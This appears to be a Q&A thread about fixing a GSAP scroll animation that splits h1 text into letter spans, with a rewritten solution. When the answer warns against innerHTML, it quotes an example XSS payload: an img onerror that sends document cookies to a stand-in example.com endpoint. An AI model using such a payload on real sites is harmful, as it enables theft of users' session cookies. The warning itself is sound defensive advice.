I am using IntersectionObserver to animate every h1
on scroll.
The problem, as you can see in the snippet, is that the animation triggers every time for every h1. This means that every new animation of the intersecting h1
needs to wait for the previous ones to be finished and the result is basically a sort of incremental delay for each new entry.target
. That's not what I want.
I tried to remove the anim-text
class before and after unobserving the entry.target
, but it didn't work.
I think the problem is in the forEach
loop inside the //TEXT SPLITTING section, but all my efforts didn't solve the problem.
Thanks in advance for your help!
const titles = document.querySelectorAll("h1");
const titlesOptions = {
root: null,
threshold: 1,
rootMargin: "0px 0px -5% 0px"
};
const titlesObserver = new IntersectionObserver(function(
entries,
titlesObserver
) {
entries.forEach(entry => {
if (!entry.isIntersecting) {
return;
} else {
entry.target.classList.add("anim-text");
// TEXT SPLITTING
const animTexts = document.querySelectorAll(".anim-text");
animTexts.forEach(text => {
const strText = text.textContent;
const splitText = strText.split("");
text.textContent = "";
splitText.forEach(item => {
text.innerHTML += "<span>" + item + "</span>";
});
});
// END TEXT SPLITTING
// TITLE ANIMATION
const charTl = gsap.timeline();
charTl.set(entry.target, { opacity: 1 }).from(".anim-text span", {
opacity: 0,
x: 40,
stagger: 0.1
});
titlesObserver.unobserve(entry.target);
// END TITLE ANIMATION
}
});
},
titlesOptions);
titles.forEach(title => {
titlesObserver.observe(title);
});
* {
color: white;
padding: 0;
margin: 0;
}
.top {
display: flex;
justify-content: center;
align-items: center;
font-size: 2rem;
height: 100vh;
width: 100%;
background-color: #279AF1;
}
h1 {
opacity: 0;
font-size: 4rem;
}
section {
padding: 2em;
height: 100vh;
}
.sec-1 {
background-color: #EA526F;
}
.sec-2 {
background-color: #23B5D3;
}
.sec-3 {
background-color: #F9C80E;
}
.sec-4 {
background-color: #662E9B;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
<div class="top">Scroll Down</div>
<section class="sec-1">
<h1>FIRST</h1>
</section>
<section class="sec-2">
<h1>SECOND</h1>
</section>
<section class="sec-3">
<h1>THIRD</h1>
</section>
<section class="sec-4">
<h1>FOURTH</h1>
</section>
Let's simplify a bit here, because you're showing way more code than necessary. Also, you're doing some things in a bit of an odd way, so a few tips as well.
if (...) { return } else ...
, which doesn't need an else
scoping: either the function returns, or we just keep going.+
: stop using that and start using modern templating strings. So instead of "a" + b + "c"
, you use `a${b}c`
. No more +
, no more bugs relating to string composition..innerHTML
assignment: this is incredibly dangerous, especially if someone else's script updated your heading to be literal HTML code like <img src="fail.jpg" onerror="fetch('http://example.com/exploits/send?data='+JSON.stringify(document.cookies)">
or something. Never use innerHTML
, use the normal DOM functions (createElement
, appendChild
, etc).const thing = arrow function
without any need for this
preservation: just make those normal functions, and benefit from hoisting (all normal functions are bound to scope before any code actually runs).anim-text span
elements. Including headings you already processed. So when the second one scrolled into view, you'd select all span
in both the first and second heading, then stagger-animate their letters. Instead, you only want to stagger the letters in the current heading, so given them an id
and then query select using #headingid span
instead.However, while 7 sounds like the fix, thanks to how modern text works you still have a potential bug here: there is no guarantee that a word looks the same as "the collection of the letters that make it up", because of ligatures. For example, if you use a font that has a ligature that turns the actual string =>
into the single glyph ⇒
(like several programming fonts do) then your code will do rather the wrong thing.
But that's not necessarily something to fix right now, more something to be mindful of. Your code does not universally work, but it might be good enough for your purposes.
So with all that covered, let's rewrite your code a bit, throw away the parts that aren't really relevant to the problem, and of course most importantly, fix things:
function revealEntry(h1) {
const text = h1.textContent;
h1.textContent = "";
text.split(``).forEach(part => {
const span = document.createElement('span');
span.textContent = part;
h1.appendChild(span);
});
// THIS IS THE ACTUAL FIX: instead of selecting _all_ spans
// inside _all_ headings with .anim-text, we *only* select
// the spans in _this_ heading:
const textSpans = `#${h1.id} span`;
const to = { opacity: 1 };
const from = { opacity: 0, x: -40, stagger: 1 };
gsap.timeline().set(h1, to).from(textSpans, from);
}
function watchHeadings(entries, observer) {
entries.forEach(entry => {
if (entry.isIntersecting) {
const h1 = entry.target;
observer.unobserve(h1);
revealEntry(h1);
}
});
};
const observer = new IntersectionObserver(watchHeadings);
const headings = document.querySelectorAll("h1");
headings.forEach(h1 => observer.observe(h1));
h1 {
opacity: 0;
font-size: 1rem;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
<h1 id="a">FIRST</h1>
<h1 id="b">SECOND</h1>
<h1 id="c">THIRD</h1>
<h1 id="d">FOURTH</h1>